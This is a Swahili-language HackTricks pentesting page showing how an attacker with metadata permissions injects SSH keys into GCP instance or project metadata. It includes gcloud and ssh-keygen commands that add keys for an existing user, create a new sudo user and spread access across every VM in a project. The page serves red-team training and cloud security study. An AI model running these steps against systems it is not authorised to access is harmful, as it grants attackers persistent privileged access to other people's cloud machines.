GCP - Ongeza Metadata ya SSH ya Kijadi

Reading time: 5 minutes

GCP - Ongeza Metadata ya SSH ya Kijadi

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Kubadilisha metadata

Kubadilisha metadata kwenye mfano kunaweza kusababisha hatari kubwa za usalama ikiwa mshambuliaji atapata ruhusa zinazohitajika.

Kuongeza Funguo za SSH kwenye Metadata ya Kijadi

Katika GCP, mifumo ya Linux mara nyingi inatekeleza skripti kutoka kwenye Python Linux Guest Environment for Google Compute Engine. Sehemu muhimu ya hii ni accounts daemon, ambayo imeundwa ili kuangalia mara kwa mara kiungo cha metadata ya mfano kwa sasisho za funguo za umma za SSH zilizoidhinishwa.

Hivyo, ikiwa mshambuliaji anaweza kubadilisha metadata ya kijadi, anaweza kufanya daemon ipate funguo mpya za umma, ambazo zitawekwa na kuunganishwa kwenye mfumo wa ndani. Funguo hiyo itaongezwa kwenye faili ya ~/.ssh/authorized_keys ya mtumiaji aliye tayari au labda kuunda mtumiaji mpya mwenye ruhusa za sudo, kulingana na muundo wa funguo. Na mshambuliaji ataweza kuathiri mwenyeji.

Ongeza funguo ya SSH kwa mtumiaji mwenye ruhusa

  1. Chunguza Funguo za SSH Zilizopo kwenye Mfano:
  • Tekeleza amri ya kuelezea mfano na metadata yake ili kupata funguo za SSH zilizopo. Sehemu inayohusiana katika matokeo itakuwa chini ya metadata, hasa funguo ya ssh-keys.
bash
gcloud compute instances describe [INSTANCE] --zone [ZONE]
  • Angalia muundo wa funguo za SSH: jina la mtumiaji linatangulia funguo, likitenganishwa na alama ya nukta.
  1. Andaa Faili ya Teksti kwa Metadata ya Funguo za SSH:
  • Hifadhi maelezo ya majina ya watumiaji na funguo zao za SSH zinazohusiana kwenye faili ya teksti inayoitwa meta.txt. Hii ni muhimu kwa kuhifadhi funguo zilizopo wakati wa kuongeza mpya.
  1. Unda Funguo Mpya ya SSH kwa Mtumiaji Lengo (alice katika mfano huu):
  • Tumia amri ya ssh-keygen kuunda funguo mpya ya SSH, kuhakikisha kuwa uwanja wa maoni (-C) unalingana na jina la mtumiaji lengo.
bash
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
  • Ongeza funguo mpya ya umma kwenye meta.txt, ukifanana na muundo ulio katika metadata ya mfano.
  1. Sasisha Metadata ya Funguo za SSH za Mfano:
  • Tumia amri ya gcloud compute instances add-metadata kupeleka metadata ya funguo za SSH iliyosasishwa kwenye mfano.
bash
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
  1. Fikia Mfano kwa Kutumia Funguo Mpya ya SSH:
  • Unganisha kwenye mfano kwa SSH ukitumia funguo mpya, ukifikia shell katika muktadha wa mtumiaji lengo (alice katika mfano huu).
bash
ssh -i ./key alice@localhost
sudo id

Unda mtumiaji mpya mwenye ruhusa na ongeza funguo ya SSH

Ikiwa mtumiaji yeyote wa kuvutia hakupatikana, inawezekana kuunda mpya ambayo itapewa ruhusa za sudo:

bash
# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

SSH keys at project level

Inawezekana kupanua ufikiaji wa SSH kwa Mashine nyingi za Kielektroniki (VMs) katika mazingira ya wingu kwa kutumia funguo za SSH katika kiwango cha mradi. Njia hii inaruhusu ufikiaji wa SSH kwa mfano wowote ndani ya mradi ambao haujazuia wazi wazi funguo za SSH za mradi. Hapa kuna mwongozo wa muhtasari:

  1. Tumia Funguo za SSH katika Kiwango cha Mradi:
  • Tumia amri gcloud compute project-info add-metadata kuongeza funguo za SSH kutoka meta.txt kwenye metadata ya mradi. Kitendo hiki kinahakikisha kwamba funguo za SSH zinatambulika katika VMs zote ndani ya mradi, isipokuwa VM ambayo ina chaguo la "Block project-wide SSH keys" limewezeshwa.
bash
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
  1. SSH kwenye Mifano kwa Kutumia Funguo za Mradi:
  • Pamoja na funguo za SSH za mradi zikiwa zimewekwa, unaweza SSH kwenye mfano wowote ndani ya mradi. Mifano ambayo haizuia funguo za mradi itakubali funguo za SSH, ikitoa ufikiaji.
  • Njia moja ya moja kwa moja ya SSH kwenye mfano ni kutumia amri gcloud compute ssh [INSTANCE]. Amri hii inatumia jina lako la mtumiaji wa sasa na funguo za SSH zilizowekwa katika kiwango cha mradi kujaribu ufikiaji.

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks